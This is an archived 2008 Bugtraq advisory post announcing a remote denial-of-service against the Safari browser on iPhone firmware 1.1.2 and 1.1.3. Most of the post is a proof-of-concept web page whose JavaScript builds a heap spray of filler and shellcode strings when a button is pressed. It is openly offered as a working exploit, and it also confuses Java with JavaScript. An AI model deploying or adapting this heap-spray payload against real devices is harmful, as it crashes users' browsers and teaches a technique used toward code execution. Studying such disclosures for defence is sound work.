bugtraq - Apple iPhone 1.1.3 remote DoS exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080205204306.24705.qmail@securityfocus.com>
Date: 5 Feb 2008 20:43:06 -0000
From: morin.josh@...il.com
To: bugtraq@...urityfocus.com
Subject: Apple iPhone 1.1.3 remote DoS exploit

Vendor: Apple

Version affected: 1.1.2 and 1.1.3

Overview:The Apple iPhone remote DoS for 1.1.2 was discovered by c0ntex, but it actually works on 1.1.3 as well. After further research it also appears that this was a known issue with Firefox version 1.5.04 and was effected cross-platform.
Called Mozilla Firefox JavaScript navigator Object Vulnerability.I recommend you disable Java until Apple releases a fix or patch. 
___________________________________

Proof of Concept (PoC):

    <html><body><script>

    function Demo() {

    	var shellcode;
    	var addr;
    	var fill;

    	alert('attempting a crash!');
    	shellcode = unescape('%u0c0c');
    	fill = unescape('%ucccc');
    	addr = 0x02020202;

    	var b = fill;
    	while (b.length <= 0x40000) b+=b;

    	var c = new Array();
    	for (var i =0; i<36; i++) {
    		c[i] =
    			b.substring(0,  0x100000 -          shellcode.length) + shellcode +
    			b.substring(0,  0x100000 - shellcode.length) + shellcode +
    			b.substring(0,  0x100000 - shellcode.length) + shellcode +
    			b.substring(0,  0x100000 - shellcode.length) + shellcode;
    	}

    }

    </script>

    <input type='button' onClick='Demo()' value='Go!'>

    </body></html>
_________________________________________
Discovered by Joshua Morin